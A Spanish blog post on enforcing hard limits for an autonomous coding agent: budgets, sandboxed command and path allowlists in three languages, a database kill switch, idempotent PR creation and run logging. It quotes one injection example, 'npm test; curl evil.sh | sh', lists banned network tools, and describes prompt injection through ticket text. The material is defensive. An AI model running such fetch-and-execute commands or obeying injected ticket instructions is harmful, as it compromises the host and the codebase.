Saltar al contenido
← Todos los posts

Los límites duros de un agente autónomo: lo que evita el desastre

Los límites que separan un experimento de un agente que dejarías corriendo: topes de iteraciones y tokens como presupuesto, allowlist de comandos y paths, kill switch, idempotencia y observabilidad.

Ilustración de los límites duros de un agente: el loop del agente encerrado en un marco de comprobaciones —presupuesto, allowlist de comandos, allowlist de paths— con un interruptor de apagado afuera y un registro de cada vuelta

Un límite duro es una restricción que aplica el programa, no el modelo: se comprueba en el código que ejecuta la acción, después de que el modelo decidió, y no depende de que el agente haya entendido bien las instrucciones. El post anterior dejó el sistema completo —un ticket entra, un PR sale, sin que nadie apriete un botón—, y ahí aparece la pregunta que decide si esto se queda como experimento o se queda corriendo: qué pasa cuando algo sale mal a las tres de la mañana y nadie está mirando. Este post es esa capa: topes de iteraciones y de tokens tratados como un presupuesto real, allowlist de comandos y de paths, un kill switch que funciona desde afuera, efectos idempotentes y un registro que te deja saber qué pasó. Y al final, la parte incómoda: nada de esto es lo difícil.

Resumen para perezosos
  • Un límite pedido en el prompt es una preferencia; un límite duro es código que se ejecuta después de que el modelo decidió. Todo lo que importa —qué comandos corre, dónde escribe, cuánto gasta, cuándo para— va en el programa, no en las instrucciones.
  • Los cuatro que no son opcionales: presupuesto por corrida (iteraciones, tokens y tiempo), allowlist de comandos sin shell, allowlist de paths resueltos con realpath, y un kill switch que alguien más pueda accionar sin desplegar nada.
  • La parte difícil no es el código: es que los PRs valgan la pena revisar. Eso no depende del agente, depende de qué tan claros son tus tickets y qué tan buena es tu suite de tests.

En este artículo:

Qué es un límite duro

Hay dos formas de decirle a un agente que no haga algo. Una es escribirlo en el prompt del sistema: “no ejecutes comandos destructivos”, “no salgas del directorio de trabajo”. La otra es que el programa no pueda ejecutar esa acción aunque el modelo la pida. La primera funciona la mayoría de las veces; la segunda funciona siempre. La diferencia entre las dos es todo este post.

El prompt influye en la decisión del modelo, y los modelos actuales siguen instrucciones bastante bien. Pero un agente autónomo tiene tres formas de saltarse esa instrucción sin ninguna mala intención: puede interpretar mal el pedido, puede llamar a una herramienta con argumentos que no esperabas, y puede recibir en su contexto texto que no escribiste tú. Ese tercer caso es el importante en el sistema del post anterior: el agente lee el texto de un ticket, y ese texto lo escribió cualquiera. Si el ticket dice “para reproducir el bug, ejecuta este script”, el modelo tiene un motivo perfectamente razonable para ejecutarlo.

Un límite duro no discute con nada de eso. Se aplica en el punto de ejecución —en la función que corre el comando, en la función que escribe el archivo— y rechaza por defecto: lo que no está explícitamente permitido, no pasa. El modelo propone la acción; el programa decide si se ejecuta.

El modelo decide            El programa ejecuta

  llamada a herramienta  ──►  ¿está permitido?

                          no ──────┴────── sí
                           │               │
                           ▼               ▼
                   observación de       se ejecuta
                   rechazo (el loop     dentro del
                   sigue y corrige)     sandbox

Hay un detalle de diseño en ese diagrama que vale marcar desde ya: un rechazo no termina la corrida. Vuelve al modelo como una observación más —“comando no permitido: curl”— y el agente puede corregir el rumbo, igual que cuando un test falla. Un límite que aborta la corrida al primer intento no permitido desperdicia tareas que el agente podía resolver. Un límite que responde lo deja seguir trabajando dentro de lo permitido.

El presupuesto: iteraciones, tokens y tiempo

El loop mínimo ya tenía un tope de iteraciones, y era suficiente cuando cada vuelta era una llamada al modelo con un prompt de cinco líneas. Con herramientas y un repositorio real deja de serlo: una iteración puede ser leer un archivo de veinte líneas o meter en el contexto la salida completa de una suite de tests. Contar vueltas no te dice nada sobre lo que estás gastando.

Lo que hace falta es un presupuesto por corrida, y tiene más de una dimensión:

LímiteQué cortaCómo elegir el valor
IteracionesLoops que no convergen y repiten el mismo intentoMira cuántas vueltas usan las tareas que sí terminan y deja margen
Tokens acumuladosContextos que crecen hasta volverse impagablesTraduce a dinero con el precio de tu modelo y ponle un techo por tarea
Tiempo de paredComandos colgados y esperas de red que no terminan nuncaEl tiempo que estás dispuesto a esperar por un PR
Tokens por llamadaUna respuesta que se desborda y agota el presupuesto de golpeEl tamaño del cambio más grande que esperas

Las tres primeras se comprueban al principio de cada vuelta, antes de gastar nada. La cuarta es un parámetro de la llamada al modelo, no una comprobación tuya. Y hay una regla que las une: el motivo de parada es un dato, no un detalle. Cuando el presupuesto corta, la corrida termina con un motivo explícito —max_iterations, max_tokens, max_seconds— que se guarda junto al ticket. Sin eso no puedes distinguir un agente que falló de un agente al que le quedaste corto, y son problemas opuestos.

// budget.ts — el presupuesto de una corrida. Se consume; no se pide permiso.
export class BudgetExceeded extends Error {
  constructor(readonly reason: string) {
    super(reason);
  }
}

export class Budget {
  private iterations = 0;
  private tokens = 0;
  private readonly startedAt = Date.now();

  constructor(private readonly limits: { iterations: number; tokens: number; seconds: number }) {}

  // Se llama al principio de cada vuelta, antes de gastar nada.
  check(): void {
    const elapsed = (Date.now() - this.startedAt) / 1000;
    if (this.iterations >= this.limits.iterations) throw new BudgetExceeded("max_iterations");
    if (this.tokens >= this.limits.tokens) throw new BudgetExceeded("max_tokens");
    if (elapsed >= this.limits.seconds) throw new BudgetExceeded("max_seconds");
    this.iterations += 1;
  }

  // Se llama después de cada respuesta, con el uso real que reportó la API.
  spend(tokens: number): void {
    this.tokens += tokens;
  }
}
# budget.py — el presupuesto de una corrida. Se consume; no se pide permiso.
import time


class BudgetExceeded(Exception):
    def __init__(self, reason: str) -> None:
        super().__init__(reason)
        self.reason = reason


class Budget:
    def __init__(self, iterations: int, tokens: int, seconds: int) -> None:
        self.limits = {"iterations": iterations, "tokens": tokens, "seconds": seconds}
        self.iterations = 0
        self.tokens = 0
        self.started_at = time.monotonic()

    # Se llama al principio de cada vuelta, antes de gastar nada.
    def check(self) -> None:
        elapsed = time.monotonic() - self.started_at
        if self.iterations >= self.limits["iterations"]:
            raise BudgetExceeded("max_iterations")
        if self.tokens >= self.limits["tokens"]:
            raise BudgetExceeded("max_tokens")
        if elapsed >= self.limits["seconds"]:
            raise BudgetExceeded("max_seconds")
        self.iterations += 1

    # Se llama después de cada respuesta, con el uso real que reportó la API.
    def spend(self, tokens: int) -> None:
        self.tokens += tokens
<?php
// budget.php — el presupuesto de una corrida. Se consume; no se pide permiso.
class BudgetExceeded extends RuntimeException {
    public function __construct(public readonly string $reason) {
        parent::__construct($reason);
    }
}

class Budget {
    private int $iterations = 0;
    private int $tokens = 0;
    private float $startedAt;

    /** @param array{iterations:int,tokens:int,seconds:int} $limits */
    public function __construct(private array $limits) {
        $this->startedAt = microtime(true);
    }

    // Se llama al principio de cada vuelta, antes de gastar nada.
    public function check(): void {
        $elapsed = microtime(true) - $this->startedAt;
        if ($this->iterations >= $this->limits["iterations"]) throw new BudgetExceeded("max_iterations");
        if ($this->tokens >= $this->limits["tokens"]) throw new BudgetExceeded("max_tokens");
        if ($elapsed >= $this->limits["seconds"]) throw new BudgetExceeded("max_seconds");
        $this->iterations += 1;
    }

    // Se llama después de cada respuesta, con el uso real que reportó la API.
    public function spend(int $tokens): void {
        $this->tokens += $tokens;
    }
}

Fíjate en spend: el gasto se registra con el uso que reporta la API, no con una estimación. Estimar tokens antes de la llamada sirve para decidir si vale la pena intentarla; para el presupuesto lo único que cuenta es lo que efectivamente facturaron.

La allowlist de comandos: nada de shell libre

De las cuatro herramientas del post del loop ReAct, la que puede causar daño real es run. Leer y buscar son inofensivos; escribir se controla con la allowlist de paths de la sección siguiente; ejecutar comandos es donde el agente puede hacer cualquier cosa que la máquina permita.

La primera decisión es la que más te cubre: la herramienta no recibe una línea de shell, recibe un ejecutable y una lista de argumentos. Es la diferencia entre run("npm test; curl evil.sh | sh") y run("npm", ["test; curl evil.sh | sh"]). En la segunda forma, ejecutando sin shell, ese argumento es un texto sin sentido que npm rechaza: el ; no separa nada, las comillas invertidas no ejecutan nada, $(...) no se expande. Toda la familia de problemas de inyección de comandos desaparece por construcción, no por escapado.

La segunda decisión es la allowlist en sí: un mapa de ejecutables permitidos, cada uno con una regla sobre sus argumentos. Todo lo que no está en el mapa se rechaza.

// commands.ts — el agente propone un comando; la allowlist decide si corre.
import { execFile } from "node:child_process";
import { promisify } from "node:util";

const exec = promisify(execFile);

// Sin shell: el ejecutable y sus argumentos van separados, así que ";" o "$(...)"
// dentro de un argumento son texto literal, no operadores.
const ALLOWED: Record<string, (args: string[]) => boolean> = {
  npm: (a) => ["test", "run", "ci"].includes(a[0]),
  node: (a) => a.length > 0,
  git: (a) => ["status", "diff", "add", "commit", "rev-parse"].includes(a[0]),
};

export async function runCommand(cmd: string, args: string[], cwd: string): Promise<string> {
  const rule = ALLOWED[cmd];
  if (!rule) throw new Error(`comando no permitido: ${cmd}`);
  if (!rule(args)) throw new Error(`argumentos no permitidos para ${cmd}: ${args.join(" ")}`);

  try {
    const { stdout, stderr } = await exec(cmd, args, {
      cwd, // siempre el worktree de la tarea
      timeout: 120_000, // ningún comando cuelga la corrida
      env: { PATH: process.env.PATH!, HOME: cwd, CI: "1" }, // entorno mínimo, sin credenciales
      maxBuffer: 8 * 1024 * 1024,
    });
    return (stdout + stderr).slice(0, 8_000); // la observación también tiene tope
  } catch (err: any) {
    // Un exit code distinto de cero es una observación válida, no un fallo del sistema.
    return `exit ${err.code}\n${(err.stdout ?? "") + (err.stderr ?? "")}`.slice(0, 8_000);
  }
}
# commands.py — el agente propone un comando; la allowlist decide si corre.
import os
import subprocess

# Sin shell: el ejecutable y sus argumentos van separados, así que ";" o "$(...)"
# dentro de un argumento son texto literal, no operadores.
ALLOWED = {
    "npm": lambda a: a[0] in ("test", "run", "ci"),
    "node": lambda a: len(a) > 0,
    "git": lambda a: a[0] in ("status", "diff", "add", "commit", "rev-parse"),
}


def run_command(cmd: str, args: list[str], cwd: str) -> str:
    rule = ALLOWED.get(cmd)
    if rule is None:
        raise ValueError(f"comando no permitido: {cmd}")
    if not rule(args):
        raise ValueError(f"argumentos no permitidos para {cmd}: {' '.join(args)}")

    try:
        proc = subprocess.run(
            [cmd, *args],
            cwd=cwd,                # siempre el worktree de la tarea
            timeout=120,            # ningún comando cuelga la corrida
            env={"PATH": os.environ["PATH"], "HOME": cwd, "CI": "1"},  # entorno mínimo
            capture_output=True,
            text=True,
        )
    except subprocess.TimeoutExpired:
        return "timeout: el comando superó los 120 s"

    out = proc.stdout + proc.stderr
    # Un exit code distinto de cero es una observación válida, no un fallo del sistema.
    prefix = "" if proc.returncode == 0 else f"exit {proc.returncode}\n"
    return (prefix + out)[:8_000]  # la observación también tiene tope
<?php
// commands.php — el agente propone un comando; la allowlist decide si corre.

// Sin shell: el ejecutable y sus argumentos van separados, así que ";" o "$(...)"
// dentro de un argumento son texto literal, no operadores.
const ALLOWED = [
    "npm" => ["test", "run", "ci"],
    "git" => ["status", "diff", "add", "commit", "rev-parse"],
    "node" => null, // null = cualquier argumento
];

function run_command(string $cmd, array $args, string $cwd): string {
    if (!array_key_exists($cmd, ALLOWED)) {
        throw new RuntimeException("comando no permitido: $cmd");
    }
    $rule = ALLOWED[$cmd];
    if ($rule !== null && !in_array($args[0] ?? "", $rule, true)) {
        throw new RuntimeException("argumentos no permitidos para $cmd: " . implode(" ", $args));
    }

    $descriptors = [1 => ["pipe", "w"], 2 => ["pipe", "w"]];
    // El comando como array evita el shell. Entorno mínimo, sin credenciales.
    $proc = proc_open([$cmd, ...$args], $descriptors, $pipes, $cwd, [
        "PATH" => getenv("PATH"), "HOME" => $cwd, "CI" => "1",
    ]);
    $out = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $code = proc_close($proc);

    // Un exit code distinto de cero es una observación válida, no un fallo del sistema.
    $prefix = $code === 0 ? "" : "exit $code\n";
    return substr($prefix . $out, 0, 8000); // la observación también tiene tope
}

Ahora la parte honesta, porque una allowlist mal entendida da una sensación de seguridad que no corresponde: npm test y node ejecutan código arbitrario. Tus tests son código, y el agente puede escribir un archivo de test y después correrlo. La allowlist no limita qué código se ejecuta; limita qué herramientas puede invocar el agente directamente, y eso reduce mucho el ruido —nada de curl, nada de rm, nada de git push --force, nada de tocar git config— pero no impide que se ejecute código. Lo que lo contiene es el sandbox: un contenedor efímero, sin credenciales que no necesite y con la red restringida. La allowlist y el sandbox son capas distintas y hacen falta las dos.

Tres reglas prácticas para armar la lista: prohíbe todo lo que escriba fuera del repositorio (curl, wget, ssh, scp), prohíbe los subcomandos de git que reescriben historia o cambian configuración (push, remote, config, reset --hard sobre otras ramas), y no metas un ejecutable en la lista sin decidir qué argumentos acepta. npm run <script> es tan potente como el package.json que tenga delante.

La allowlist de paths: dónde puede escribir

El aislamiento del worktree por tarea asume que el agente se queda dentro del worktree. Nada lo garantiza: una ruta relativa con ../../, una ruta absoluta, o un symlink dentro del repositorio que apunta afuera bastan para salir. La comprobación tiene que ser sobre la ruta resuelta, no sobre la que escribió el modelo.

Son tres pasos y hay que hacer los tres:

  1. Resolver. Convertir la ruta candidata en absoluta contra la raíz del worktree y pasarla por realpath, que sigue los symlinks. Comparar cadenas sin resolver es el error clásico: docs/../../../etc/passwd empieza con docs/ y no está dentro de docs/.
  2. Comparar con el separador incluido. La raíz /work/repo no contiene a /work/repo-viejo, aunque el prefijo coincida. Se compara contra /work/repo/.
  3. Denegar rutas protegidas dentro del propio repo. .git/ es la más importante: escribir en .git/hooks/pre-commit es ejecución de código en el siguiente commit, y escribir en .git/config cambia a dónde apunta el remoto. También .env y cualquier archivo de credenciales que viva en el árbol.
// paths.ts — toda escritura pasa por acá: resuelve, compara y decide.
import { mkdir, realpath, writeFile } from "node:fs/promises";
import { basename, dirname, join, resolve, sep } from "node:path";

const DENIED = [/(^|\/)\.git(\/|$)/, /(^|\/)\.env/, /(^|\/)node_modules(\/|$)/];

export async function writeFileSafe(root: string, candidate: string, content: string): Promise<string> {
  const realRoot = await realpath(root);
  const target = resolve(realRoot, candidate);

  // realpath sobre el directorio padre resuelve los symlinks: uno que apunta afuera se detecta acá.
  // (Si el padre todavía no existe, un sistema real sube hasta el primer ancestro que sí.)
  const parent = await realpath(dirname(target)).catch(() => dirname(target));
  const full = join(parent, basename(target));

  // El separador evita que "/work/repo-viejo" pase por estar dentro de "/work/repo".
  if (full !== realRoot && !full.startsWith(realRoot + sep)) {
    throw new Error(`ruta fuera del workspace: ${candidate}`);
  }
  const relative = full.slice(realRoot.length);
  if (DENIED.some((re) => re.test(relative))) {
    throw new Error(`ruta protegida: ${candidate}`);
  }

  await mkdir(dirname(full), { recursive: true });
  await writeFile(full, content, "utf8");
  return `escrito: ${relative} (${content.length} bytes)`;
}
# paths.py — toda escritura pasa por acá: resuelve, compara y decide.
import re
from pathlib import Path

DENIED = [re.compile(r"(^|/)\.git(/|$)"), re.compile(r"(^|/)\.env"), re.compile(r"(^|/)node_modules(/|$)")]


def write_file_safe(root: str, candidate: str, content: str) -> str:
    real_root = Path(root).resolve()
    target = real_root / candidate

    # resolve() sobre el directorio padre sigue los symlinks: uno que apunta afuera
    # se detecta acá. (Si el padre no existe, strict=False deja la ruta como está.)
    parent = target.parent.resolve()
    full = parent / target.name

    # relative_to falla si la ruta quedó fuera de la raíz: esa es la comprobación.
    try:
        relative = full.relative_to(real_root)
    except ValueError:
        raise ValueError(f"ruta fuera del workspace: {candidate}")
    if any(rx.search(f"/{relative}") for rx in DENIED):
        raise ValueError(f"ruta protegida: {candidate}")

    full.parent.mkdir(parents=True, exist_ok=True)
    full.write_text(content, encoding="utf-8")
    return f"escrito: {relative} ({len(content)} bytes)"
<?php
// paths.php — toda escritura pasa por acá: resuelve, compara y decide.
const DENIED = ['#(^|/)\.git(/|$)#', '#(^|/)\.env#', '#(^|/)node_modules(/|$)#'];

function write_file_safe(string $root, string $candidate, string $content): string {
    $realRoot = realpath($root);
    $target = str_starts_with($candidate, "/") ? $candidate : "$realRoot/$candidate";

    // realpath sobre el directorio padre resuelve los symlinks: uno que apunta afuera se detecta acá.
    // (Si el padre todavía no existe, un sistema real sube hasta el primer ancestro que sí.)
    $parent = realpath(dirname($target)) ?: dirname($target);
    $full = $parent . "/" . basename($target);

    // El separador evita que "/work/repo-viejo" pase por estar dentro de "/work/repo".
    if ($full !== $realRoot && !str_starts_with($full, $realRoot . "/")) {
        throw new RuntimeException("ruta fuera del workspace: $candidate");
    }
    $relative = substr($full, strlen($realRoot));
    foreach (DENIED as $rx) {
        if (preg_match($rx, $relative)) throw new RuntimeException("ruta protegida: $candidate");
    }

    @mkdir(dirname($full), 0o777, true);
    file_put_contents($full, $content);
    return "escrito: $relative (" . strlen($content) . " bytes)";
}

La misma función tiene que cubrir la lectura, no solo la escritura. Un agente que puede leer cualquier ruta del sistema puede meter en su contexto el contenido de ~/.ssh/id_rsa o de un .env de otro proyecto, y ese contenido después viaja al modelo y puede terminar en un diff. Leer parece inofensivo y no lo es.

El kill switch: apagarlo desde afuera

Un kill switch es la respuesta a una pregunta muy concreta: si el agente está haciendo algo que no quieres, ¿cómo lo detienes ahora mismo, sin desplegar código y sin buscar un proceso a mano? Hay dos niveles y hacen falta los dos, porque cubren fallos distintos.

El apagado cooperativo es una bandera que el loop consulta al principio de cada vuelta. Termina limpio: guarda el estado, deja el motivo de parada, borra el workspace y comenta en el ticket. Es el que quieres casi siempre. No sirve cuando el agente está bloqueado dentro de un comando de diez minutos, porque nadie está consultando nada.

El apagado forzado es el supervisor matando el proceso o el contenedor. Es el que cubre los cuelgues, y por eso el timeout de pared de la sección del presupuesto también tiene que existir fuera del agente: si el proceso no termina solo, alguien lo termina por él.

La bandera vive en la base de datos, junto a la cola del post anterior. No en una variable de entorno —cambiarla obliga a reiniciar— ni en memoria —no cruza entre procesos—:

-- Parar un ticket concreto: una columna más en la tabla de la cola.
ALTER TABLE tickets ADD COLUMN stop_requested BOOLEAN NOT NULL DEFAULT false;

-- Parar el sistema entero: una fila que los workers consultan antes de reclamar.
CREATE TABLE agent_settings (
  key   TEXT PRIMARY KEY,
  value TEXT NOT NULL
);
INSERT INTO agent_settings (key, value) VALUES ('paused', 'false');

Con eso, detener una corrida es un UPDATE, y hay dos alcances distintos:

-- Un ticket: el loop lo ve en su próxima vuelta y termina con reason = 'stopped'.
UPDATE tickets SET stop_requested = true WHERE jira_key = 'ENG-1234';

-- Todo: los workers dejan de reclamar tickets nuevos. Los que ya corren siguen
-- hasta terminar, salvo que además los pares uno por uno.
UPDATE agent_settings SET value = 'true' WHERE key = 'paused';

La pausa global tiene que actuar sobre el reclamo, no solo sobre el loop. Si pausas los loops pero los workers siguen sacando tickets de la cola, lo único que consigues es marcar como fallidos todos los tickets que entren mientras dure la pausa. Pausar es dejar de tomar trabajo, y el trabajo en curso se decide aparte.

Y el forzado, cuando el proceso ya no responde:

# El worker corre cada tarea en su propio contenedor, nombrado por el ticket:
# eso hace que el apagado forzado sea una sola orden, sin buscar PIDs.
docker kill agent-ENG-1234

# Todo el sistema, cuando hace falta cortar ya y ordenar después.
docker ps --filter "name=agent-" -q | xargs -r docker kill

Lo último, y es lo que más se olvida: el kill switch tiene que poder accionarlo alguien que no seas tú. Si la única forma de parar el sistema está en tu terminal, el sistema no tiene kill switch, tiene un procedimiento que depende de que estés despierto. Un comando documentado en el README del repositorio, o un botón en un panel interno, es la diferencia entre un incidente de diez minutos y uno de tres horas.

Idempotencia: que un reintento no duplique el efecto

El post anterior resolvió la idempotencia del procesamiento: la clave primaria absorbe los encolados duplicados y el reclamo atómico deja que un solo worker tome cada ticket. Falta la otra mitad, y es la que se nota desde afuera: la idempotencia de los efectos. Un worker que se cae después de abrir el PR pero antes de marcar el ticket como pr_open va a reintentar la tarea completa, y si crear el PR no es idempotente, ahora hay dos.

La regla que lo resuelve es una sola: derivar la identidad de cada efecto de la clave del ticket, y comprobar antes de crear. La rama es agent/ENG-1234, no agent/fix-search-20260831-142233. Con un nombre determinista, el segundo intento encuentra lo que dejó el primero y lo continúa en vez de duplicarlo.

# Antes de crear el PR: ¿ya hay uno abierto para esta rama?
existing=$(gh pr list --head "agent/$TICKET" --state open --json url --jq '.[0].url')

if [ -n "$existing" ]; then
  # El intento anterior ya lo abrió: empuja los commits nuevos y reusa el PR.
  git push --force-with-lease origin "agent/$TICKET"
  echo "$existing"
else
  gh pr create --head "agent/$TICKET" --title "$TICKET: $SUMMARY" --body-file pr-body.md
fi

El comentario en Jira tiene el mismo problema y la misma solución: guarda el comment_id que devuelve la API en la fila del ticket y, si ya existe, edita ese comentario en vez de publicar otro. Un ticket con cuatro comentarios idénticos del agente es la señal de que faltó exactamente esto.

Vale ver por qué esta sección está en un post sobre límites y no quedó en el anterior. Los límites duros producen paradas, y las paradas producen reintentos: cada vez que el presupuesto corta, cada vez que alguien acciona el kill switch, cada vez que el supervisor mata un proceso colgado, alguien va a volver a poner ese ticket en la cola. Si los efectos no son idempotentes, los límites que instalaste para evitar desastres se convierten en la principal fuente de desorden.

Observabilidad: qué registrar en cada corrida

Un agente sin registro es imposible de mejorar, porque las preguntas que vas a tener no se responden mirando el resultado: por qué esta tarea usó veinte iteraciones y esa otra tres, qué herramienta se llamó justo antes de que se fuera por el camino equivocado, cuánto costó realmente el ticket, cuántas veces la allowlist rechazó algo y si ese rechazo era correcto.

Registra dos cosas. Un evento por iteración, con lo que pasó en esa vuelta:

{
  "run_id": "01J9QK3M7X",
  "ticket": "ENG-1234",
  "iteration": 7,
  "tool": "run",
  "args": { "cmd": "npm", "args": ["test"] },
  "outcome": "exit 1",
  "duration_ms": 8421,
  "tokens_in": 12480,
  "tokens_out": 517,
  "budget_left": { "iterations": 13, "tokens": 287520, "seconds": 604 }
}

Y un evento por corrida, cuando termina, con el motivo de parada. Ese campo es el más útil de todo el sistema, porque su distribución te dice qué arreglar:

MotivoQué significaQué mirar si abunda
doneEl agente terminó y los tests pasaronNada: es el caso bueno
max_iterationsSe quedó sin vueltasTareas demasiado grandes o feedback de tests que no orienta
max_tokensSe quedó sin presupuestoContexto que crece sin control; revisa qué mete en cada vuelta
max_secondsSe quedó sin tiempoComandos lentos, suite lenta, o esperas de red
stoppedAlguien accionó el kill switchPor qué hizo falta pararlo a mano
errorFalló algo del sistema, no del agenteUn bug tuyo, no del modelo

Un detalle que no es opcional: los logs de un agente son un lugar peligroso para los secretos. Ahí van prompts completos, contenido de archivos y salidas de comandos, y cualquiera de las tres puede llevarse un token dentro. Trunca las salidas, filtra los valores que coincidan con patrones de credenciales, y no guardes el contenido de los archivos que el agente lee: guarda la ruta y el tamaño. Si necesitas reproducir una corrida, el diff de la rama te dice más que el volcado del contexto.

El loop con los límites puestos

Con todas las piezas, el loop de la serie no cambia de forma; cambia lo que hay antes y después de cada acción:

cada vuelta del loop

   ├─► ¿kill switch accionado?   ── sí ─► parar, reason = "stopped"
   ├─► ¿presupuesto agotado?     ── sí ─► parar, reason = "max_iterations|max_tokens|max_seconds"


llamada al modelo ──► propone una herramienta ──► registrar el gasto real

   ├─► ¿comando en la allowlist? ── no ─► observación de rechazo ─┐
   ├─► ¿path dentro del worktree? ── no ─► observación de rechazo ─┤
   │                                                              │
   ▼                                                              │
ejecuta dentro del sandbox ──► observación ────────────────────────┤

                                              registrar la iteración y seguir

En código, el loop entero:

// agent.ts — el loop de la serie, ahora con los límites puestos.
import { Budget, BudgetExceeded } from "./budget";
import { runCommand } from "./commands";
import { writeFileSafe } from "./paths";
import { isStopRequested } from "./killswitch";
import { logIteration } from "./log";

export async function runAgent(ticket: string, goal: string, root: string) {
  const budget = new Budget({ iterations: 20, tokens: 400_000, seconds: 900 });
  const messages = [{ role: "user", content: goal }];

  for (;;) {
    // Los dos límites que se comprueban ANTES de gastar nada.
    if (await isStopRequested(ticket)) return { reason: "stopped", budget };
    try {
      budget.check();
    } catch (err) {
      if (err instanceof BudgetExceeded) return { reason: err.reason, budget };
      throw err;
    }

    const reply = await callModel(messages, { maxTokens: 4096 });
    budget.spend(reply.usage.total); // el uso real que reportó la API
    if (!reply.toolCall) return { reason: "done", budget };

    const observation = await guardedTool(reply.toolCall, root);
    messages.push(reply.message, { role: "user", content: observation });
    logIteration(ticket, budget, reply, observation);
  }
}

// Un rechazo vuelve como observación: el agente lo lee y puede corregir el rumbo.
async function guardedTool(call: ToolCall, root: string): Promise<string> {
  try {
    if (call.name === "run") return await runCommand(call.args.cmd, call.args.args, root);
    if (call.name === "write") return await writeFileSafe(root, call.args.path, call.args.content);
    return `herramienta desconocida: ${call.name}`;
  } catch (err: any) {
    return `rechazado: ${err.message}`;
  }
}
# agent.py — el loop de la serie, ahora con los límites puestos.
from budget import Budget, BudgetExceeded
from commands import run_command
from paths import write_file_safe
from killswitch import is_stop_requested
from log import log_iteration


def run_agent(ticket: str, goal: str, root: str) -> dict:
    budget = Budget(iterations=20, tokens=400_000, seconds=900)
    messages = [{"role": "user", "content": goal}]

    while True:
        # Los dos límites que se comprueban ANTES de gastar nada.
        if is_stop_requested(ticket):
            return {"reason": "stopped", "budget": budget}
        try:
            budget.check()
        except BudgetExceeded as err:
            return {"reason": err.reason, "budget": budget}

        reply = call_model(messages, max_tokens=4096)
        budget.spend(reply.usage.total)  # el uso real que reportó la API
        if not reply.tool_call:
            return {"reason": "done", "budget": budget}

        observation = guarded_tool(reply.tool_call, root)
        messages += [reply.message, {"role": "user", "content": observation}]
        log_iteration(ticket, budget, reply, observation)


# Un rechazo vuelve como observación: el agente lo lee y puede corregir el rumbo.
def guarded_tool(call, root: str) -> str:
    try:
        if call.name == "run":
            return run_command(call.args["cmd"], call.args["args"], root)
        if call.name == "write":
            return write_file_safe(root, call.args["path"], call.args["content"])
        return f"herramienta desconocida: {call.name}"
    except Exception as err:
        return f"rechazado: {err}"
<?php
// agent.php — el loop de la serie, ahora con los límites puestos.
require "budget.php";
require "commands.php";
require "paths.php";
require "killswitch.php";
require "log.php";

function run_agent(string $ticket, string $goal, string $root): array {
    $budget = new Budget(["iterations" => 20, "tokens" => 400000, "seconds" => 900]);
    $messages = [["role" => "user", "content" => $goal]];

    while (true) {
        // Los dos límites que se comprueban ANTES de gastar nada.
        if (is_stop_requested($ticket)) return ["reason" => "stopped", "budget" => $budget];
        try {
            $budget->check();
        } catch (BudgetExceeded $err) {
            return ["reason" => $err->reason, "budget" => $budget];
        }

        $reply = call_model($messages, maxTokens: 4096);
        $budget->spend($reply->usage->total); // el uso real que reportó la API
        if (!$reply->toolCall) return ["reason" => "done", "budget" => $budget];

        $observation = guarded_tool($reply->toolCall, $root);
        $messages[] = $reply->message;
        $messages[] = ["role" => "user", "content" => $observation];
        log_iteration($ticket, $budget, $reply, $observation);
    }
}

// Un rechazo vuelve como observación: el agente lo lee y puede corregir el rumbo.
function guarded_tool(object $call, string $root): string {
    try {
        if ($call->name === "run") return run_command($call->args["cmd"], $call->args["args"], $root);
        if ($call->name === "write") return write_file_safe($root, $call->args["path"], $call->args["content"]);
        return "herramienta desconocida: {$call->name}";
    } catch (Throwable $err) {
        return "rechazado: " . $err->getMessage();
    }
}

Son unas cuarenta líneas y ninguna es difícil. Ese es exactamente el punto de la sección siguiente.

La parte difícil no es el código

Todo lo anterior es una tarde de trabajo. El presupuesto son treinta líneas, las allowlists otras sesenta, el kill switch es una columna y un UPDATE, la observabilidad es una función que escribe JSON. Si el proyecto se te atasca, no va a ser acá.

Lo que decide si el sistema sirve es otra cosa: que los PRs valgan la pena revisar. Un agente que produce diez PRs al día que nadie quiere leer no es un sistema autónomo, es una fuente de trabajo nueva. Y esa calidad no sale del agente ni de sus límites; sale de dos cosas que ya tienes o no tienes antes de empezar.

La primera es la calidad de los tickets. Un ticket que dice “el buscador anda mal” no le da al agente nada con qué reproducir el problema, y el PR que salga de ahí va a ser una conjetura. Un ticket con pasos para reproducir, comportamiento esperado contra el observado y una pista de dónde vive el código produce un PR que se puede revisar sin reconstruir el problema desde cero. La etiqueta agent-ready del post anterior parecía un filtro de costo; en realidad es un control de calidad: significa “este ticket tiene lo que hace falta para trabajarlo sin preguntar”.

La segunda es tu suite de tests. El agente optimiza para pasar el evaluador, y tu suite es el evaluador. Si es superficial, verde no significa nada y cada PR te obliga a leer todo el diff con desconfianza —que es justo el trabajo que querías evitar—. Si es lenta, cada iteración cuesta minutos y el tope de tiempo corta tareas legítimas. Y si es inestable, es peor que las dos anteriores juntas: el agente va a “arreglar” un test que falla por azar, y vas a recibir PRs que cambian código correcto para acomodar ruido.

Los límites duros son la parte barata: un puñado de comprobaciones que evitan que un mal día se convierta en un incidente. Lo que decide si el sistema vale la pena es si los PRs se pueden revisar rápido, y eso depende de la claridad de tus tickets y de la calidad de tu suite —dos cosas que no arregla ningún agente.

La conclusión práctica es un orden de trabajo. Si tu suite es débil o tus tickets son vagos, ponlo primero, incluso antes de montar el agente: es trabajo que te sirve igual si el agente nunca llega. Y si ya los tienes, los límites de este post son lo que te deja dejarlo corriendo.

Dónde se rompe

  • Una allowlist con un intérprete adentro no limita el código. npm test corre tus tests, que son código, y el agente puede escribir un test. La allowlist controla las herramientas; lo que controla el código es el sandbox. Confundirlas es el error de seguridad más fácil de cometer en esta arquitectura.
  • El presupuesto por corrida no es un presupuesto de gasto. Un tope de tokens por tarea multiplicado por N workers y por todos los tickets del día puede ser una factura enorme. Hace falta además un tope agregado —por día, por proyecto— que corte el reclamo de tickets nuevos cuando se alcanza.
  • El texto del ticket entra en el contexto. Los límites acotan el daño de una instrucción inyectada, pero no la eliminan: un ticket puede pedirle al agente que escriba en el diff algo que no debería estar ahí, y todo lo que el agente puede escribir puede terminar en el PR. La revisión humana sigue siendo el último control, y por eso la salida es un PR y no un merge.
  • El kill switch cooperativo no detiene un proceso colgado. Sirve mientras el loop siga dando vueltas. Si el agente está dentro de un comando que no termina, lo único que lo para es el supervisor matando el contenedor, y eso hay que tenerlo montado antes de necesitarlo.
